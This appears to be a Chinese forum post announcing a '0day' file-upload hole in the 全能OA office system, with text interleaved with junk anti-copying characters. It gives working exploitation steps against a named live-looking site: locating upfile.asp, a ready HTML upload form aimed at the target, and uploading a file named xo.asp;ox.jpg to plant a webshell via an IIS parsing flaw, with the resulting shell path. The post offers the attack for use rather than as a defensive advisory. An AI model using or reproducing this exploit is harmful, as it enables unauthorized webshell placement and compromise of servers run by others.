全能OA办公系统0day OA办公系统漏洞 上传漏洞

admin

全能OA办公系统 上传漏洞
: ^/ Z9 w/ m- R7 H2 w6 T( B6 h7 D3 C​
5 Y& ~8 r4 c. h系统介绍：
6 C, V" r( M0 k
; o( q7 K8 G7 h& o全能OA办公系统2012是功能非常强大的OA系统，目前功能已完全能满足日常办公需要。
- G; C2 S) Z: s% g6 t" s. ?. D
9 g8 M# l% g5 a' U3 v# `4 ?# b* p主要功能：
公司通告
工作计划
- b5 s, f2 _& k# m% p( X通讯助理
客户资源
" m! Y* n" F& L1 [我的公文
6 g2 Y9 E7 f/ p, W* z7 q3 c公文传阅
公共资源
1 O" `: B* n/ Y: ^资源预约
今日考勤
; \9 e' s& H) X" f5 N: P个人计划
个人通讯录
个人基本档案
3 c; d) r+ G( h# O* g未读邮件
4 g$ m3 y6 t, R4 N$ L& h& S发邮件
收件夹
6 Q3 M+ S/ w! p) h: c" `寄件夹
网络硬盘
网络会议
+ Z3 P& \* o, m5 L/ O网络调查
7 q& L/ J+ d: k& W' x交流论坛

$ X8 x6 e) Q( L9 R# T. [有兴趣测试的朋友可以下源码看看
& \' w+ b1 G! q, [* C
$ S. c" O0 O: B" Q, g: X源码下载：

http://www.mycodes.net/30/4750.htm
, ?( \% \& e( ~# ]) J
! c5 P: h5 X! H" }$ M漏洞介绍：
3 }. O# o3 n8 G, i& U( u2 x" Q
由upfile.asp上传文件漏洞引起

测试方法：
! h) [; N, _4 Q# [8 \+ S
使用名小子上传http://www.itlynn.com/upfile.asp即可
* ~4 B. H7 o, c
如果upfile.asp文件被删除不存在。
8 j1 t; Q' |5 W& ]% s9 ^& y
  那么可以试着访问http://www.itlynn.com/upfile/upfile.asp 。

8 v6 Q% l$ @: W) o! j如果存在那么将如下代码保存为upfile.html。
7 s* F1 G; C' M
然后将action的参数修改为目标站点的url。例如 http://www.itlynn.com/upfile/upfile.asp。



01 <table border='0' align="center" cellpadding="5">

02 <form method="POST"action="http://www.itlynn.com/upfile/upfile.asp"enctype="multipart/form-data"id="form1"name="form1">
# i5 c4 Z* D% z% D* |. Y
  @' S9 j, f' H6 V03 <tr>
1 Z" `6 m# |  J9 X; ~; v- G( O# @
! P& V$ ?- J5 z5 K' u5 v, X% k4 W04             <td>报错：</td>

2 i1 s$ V5 C' r3 C! q6 ?0 Y05             <td><input type='radio' name='errnumber' value='0'>

/ W! A# O& [0 y" c06               自动更名

7 X- E, v7 w/ |9 @7 U1 ]8 c07               <input type='radio' name='errnumber' value='1' checked>
5 }) Y. P; s6 I/ g3 b/ _* e" N9 ~; d
# q7 Y1 z% O5 T- W2 U08               报错方式
: Z. S9 [) _  k! S/ i# C+ n# H
: K( @) {( w/ K/ m' v5 |09               <input type='radio' name='errnumber' value='2'>
6 e. @6 C1 j  g' c' E. M# ^1 Y7 T2 S
' b* s( H- Q' g( r10               直接覆盖</td>

11           </tr>

5 x& b! j, i( L12           <tr>

13             <td>主题：</td>

0 t( [. E; X' y, `1 _14             <td><input type='text' name='filename' size='30'></td>
: D5 ~) O( R- l1 F. y" j& S5 K
15           </tr>

16           <tr>
  I' v3 S/ ]2 a
17             <td>文件：</td>

2 f7 }+ k- [, p* ^18             <td><input type="file"name="fruit"size="30"></td>
" }' a- X6 v& y/ w) c
19           </tr>
4 S% |, B: e8 Q6 e2 D
& j: K' R3 x" S& B' F) v" ^) ^' @; I20           <tr>

21             <td valign='top'>简介：</td>

22             <td><textarea name='fileExt' cols='40' rows='5'></textarea></td>

* t5 y* W* \* a6 X) |$ `) f0 x23           </tr>

! ^9 R9 S: ^& k7 E- Y24   
  u0 [* V3 I7 u' \3 p
& {8 q4 P( D# L. t* @25             <td colspan='2'><input type="submit" value="上传文件" name="subbutt"></td>
* \/ A; A% C% @- z
26           </tr>

- o5 m4 I8 V3 l6 @: a" ^0 A27         </form>

& F9 L0 G: g4 f8 h6 i然后打开上传一个文件名为xo.asp;ox.jpg的文件。

9 S6 b+ H. u/ L+ U

) I+ \2 h" F2 y+ j0 ]9 S上传成功后，马的路径是：http://www.itlynn.com/upfile/savepath/xo.asp;ox.jpg
4 {3 D. t0 i0 ~2 ~( G) @
此漏洞需要配合解析漏洞利用。